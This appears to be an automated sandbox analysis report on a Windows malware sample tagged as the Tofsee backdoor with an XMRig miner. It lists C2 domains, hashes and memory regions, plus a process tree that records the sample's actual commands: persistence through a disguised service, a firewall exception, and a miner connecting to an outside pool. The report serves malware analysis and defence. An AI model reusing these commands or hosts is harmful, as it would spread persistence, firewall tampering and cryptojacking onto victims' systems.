Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/11/2022, 04:25

General

  • Target
    file.exe
  • Size 240KB
  • Sample221117-e1yg1shf6x
  • SHA256 9cb5df896d9afa78c56efcefbaf18d04f638471ea0151ae6af04d9ce630cf642
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kzfdbzxc\
      2⤵
        PID:1300
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ndfsjbm.exe" C:\Windows\SysWOW64\kzfdbzxc\
        2⤵
          PID:4488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kzfdbzxc binPath= "C:\Windows\SysWOW64\kzfdbzxc\ndfsjbm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4520
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kzfdbzxc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kzfdbzxc
          2⤵
          • Launches sc.exe
          PID:4524
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1460
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1932 -s 1036
          2⤵
          • Program crash
          PID:2040
      • C:\Windows\SysWOW64\kzfdbzxc\ndfsjbm.exe
        C:\Windows\SysWOW64\kzfdbzxc\ndfsjbm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4996
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3080
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4284
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1932 -ip 1932
        1⤵
          PID:3888

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              ndfsjbm.exe

              • Path C:\Users\Admin\AppData\Local\Temp\ndfsjbm.exe
              • Size 11.8MB
              • SHA256 e9c32fa212fc9a2baafb01788a333d62e8ec5c49ecd81b1e2cadb0d5e86445a1
              • MD5 SHA1 SHA512 SSDEEP

              ndfsjbm.exe

              • Path C:\Windows\SysWOW64\kzfdbzxc\ndfsjbm.exe
              • Size 11.8MB
              • SHA256 e9c32fa212fc9a2baafb01788a333d62e8ec5c49ecd81b1e2cadb0d5e86445a1
              • MD5 SHA1 SHA512 SSDEEP

              memory/1932-133-0x0000000000910000-0x0000000000923000-memory.dmp

              memory/1932-135-0x0000000000400000-0x000000000083F000-memory.dmp

              memory/1932-132-0x00000000009A7000-0x00000000009BC000-memory.dmp

              memory/1932-144-0x0000000000400000-0x000000000083F000-memory.dmp

              memory/1932-143-0x0000000000910000-0x0000000000923000-memory.dmp

              memory/3080-146-0x0000000000AE0000-0x0000000000AF5000-memory.dmp

              memory/3080-165-0x0000000007800000-0x0000000007C0B000-memory.dmp

              memory/3080-168-0x0000000001FE0000-0x0000000001FE7000-memory.dmp

              memory/3080-162-0x0000000001FD0000-0x0000000001FD5000-memory.dmp

              memory/3080-159-0x0000000001F80000-0x0000000001F90000-memory.dmp

              memory/3080-156-0x0000000001F50000-0x0000000001F56000-memory.dmp

              memory/3080-151-0x0000000000AE0000-0x0000000000AF5000-memory.dmp

              memory/3080-152-0x0000000000AE0000-0x0000000000AF5000-memory.dmp

              memory/3080-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

              memory/4284-172-0x0000000000E00000-0x0000000000EF1000-memory.dmp

              memory/4284-177-0x0000000000E00000-0x0000000000EF1000-memory.dmp

              memory/4996-150-0x0000000000400000-0x000000000083F000-memory.dmp

              memory/4996-147-0x0000000000A22000-0x0000000000A37000-memory.dmp